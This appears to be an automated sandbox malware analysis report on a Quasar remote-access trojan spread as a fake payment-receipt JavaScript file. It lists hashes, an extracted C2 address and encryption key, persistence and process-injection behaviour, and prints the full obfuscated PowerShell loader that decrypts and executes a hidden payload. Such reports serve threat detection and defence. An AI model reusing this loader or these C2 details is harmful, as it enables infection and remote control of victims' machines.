Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system - submitted
24/07/2024, 00:07
Static task
static1
Behavioral task
behavioral1
Sample
Comprovante-Pagamento_66a04578f18a3.js
Resource
win7-20240708-en
8 signatures
150 seconds
General
- Target Comprovante-Pagamento_66a04578f18a3.js
- Size 14KB
- Sample240724-aebc5swfmk
- SHA256 8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904
- MD5 b6a25e375639218f83e044bd89fb604f
- SHA1 18d75540fe2674a7b9925977425980120f210cb0
- SHA512 42a842863fafc801dcfbd66a37242980e11201bc9c216b7dbfec9d77b296cf0d8db274da1f779a38f62abb146b072ed2a30c693d630d452f13b57f7c1a7bb2ad
- SSDEEP 192:DdFGnRQ3MIgdgkCIWfMZtVhdJQgRIwMghZ6fN4PW:ZFGnyhIgyht3QaIwvEl
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
quasar
Version
-
2.8.0.1
Botnet
-
j4s0nツ
C2
-
191.96.79.79:5552
Mutex
-
k0xu0yaV18JcyOu4RW
Attributes
-
encryption_key
dfDMgawnkTln5Mq1lzTq
-
install_name
Venom.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Venom Client Startup
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/232-29-0x0000000000400000-0x00000000004EC000-memory.dmp family_quasar - Blocklisted process makes network request 5 IoCs
flow pid Process 5 5088 wscript.exe 7 5088 wscript.exe 12 5088 wscript.exe 27 228 powershell.exe 36 228 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation wscript.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Comprovante-Pagamento_66a04578f18a3.js wscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Comprovante-Pagamento_66a04578f18a3.js wscript.exe -
pid Process 228 powershell.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 38 ip-api.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 228 set thread context of 232 228 powershell.exe 96 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language aspnet_compiler.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 228 powershell.exe 228 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 228 powershell.exe Token: SeDebugPrivilege 232 aspnet_compiler.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5088 wrote to memory of 228 5088 wscript.exe 87 PID 5088 wrote to memory of 228 5088 wscript.exe 87 PID 228 wrote to memory of 232 228 powershell.exe 96 PID 228 wrote to memory of 232 228 powershell.exe 96 PID 228 wrote to memory of 232 228 powershell.exe 96 PID 228 wrote to memory of 232 228 powershell.exe 96 PID 228 wrote to memory of 232 228 powershell.exe 96 PID 228 wrote to memory of 232 228 powershell.exe 96 PID 228 wrote to memory of 232 228 powershell.exe 96 PID 228 wrote to memory of 232 228 powershell.exe 96
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Comprovante-Pagamento_66a04578f18a3.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI39748959011625083121032753780224CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIvfRL0kJXBZM23JFBk0zOfPif9Zy3RKxvYKfjsEu7j/A+X2UzWBrPzw+Ar4NvvblE7nwrwtmbZHONPM783yKiWETB26gNBVf1iumIHibmu5MQ972/tX/i0Ro9bHC2uPCRYxYM3QYelO7tNG12v0zh8gTPUgyFns9wYnarxx9EM7xJiX5fUjN3+YKm6ZuFCHpfLXOxuymPIKp6T8e2B93VDQbKHqej515P5Bh55vUysxq0gHcNT/omCutQGF6tyLLI+57N76Pmq1cIQGHZDkjgrRo+E0ibpa2cBNVR4MTzQtM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k0ZhHxbDqKaCf6yh3qV73lSqBOX9MdZYQdnbzcpGy+EZheuhO3MA7rQkKeNMsBO8HYdpSftb8x3oX53oFInvoq0ckDtd/NfO1iFF8MpSAm+H/0NoKhRBup9oQttsEArE1hr8xme6qdzHe9sPw0gtUfaaP+OYU3+XgDAjG4RYqhGjzmy6ypmPvLOWNK+ioU5oq2k9F3RTmwloBW5r5BxZ4BPAxZsOzWQghgBDQ89HY1eBPiIFoplNOp+eYQpcEkDn1r6rHgbnIN5G70vprMV7I+lt+X342Fce0131DwCiXMWrk90GIxgNLCaNUsxO1AGoSganN7kh2tRIKcGgmhWctte5H+nVMRKpiOtmoBgTGmhKf5KutbhR5WcC6QB29gp99/Bo3FDicJV+uIc6u/3oU5lQmdMZNKLLW83a4qfNelOxVPLVs/sDZcRP8r1za4=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:228 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:232
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3WWFCFW4\paste1[1].txt
- Size 129B
- SHA256 e9aeea20f4493d81619b994399f2cd29dfd28844be0f60b5a2dd0ff7b40c11e4
- MD5 4e784d1ac7301f404191e862c9a74d22
- SHA1 2cad7ffc437650a36b28e8fcdba715383d8a4289
- SHA512 e938ba7ef42b11f68a82d04088db72cd60b28809b2446bd26bcff40a094ccb8b7dd3c0c088c77fe1e870d021cf3866eeef6423478349e6b70f47122aa364a019
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adtkisob.lw2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512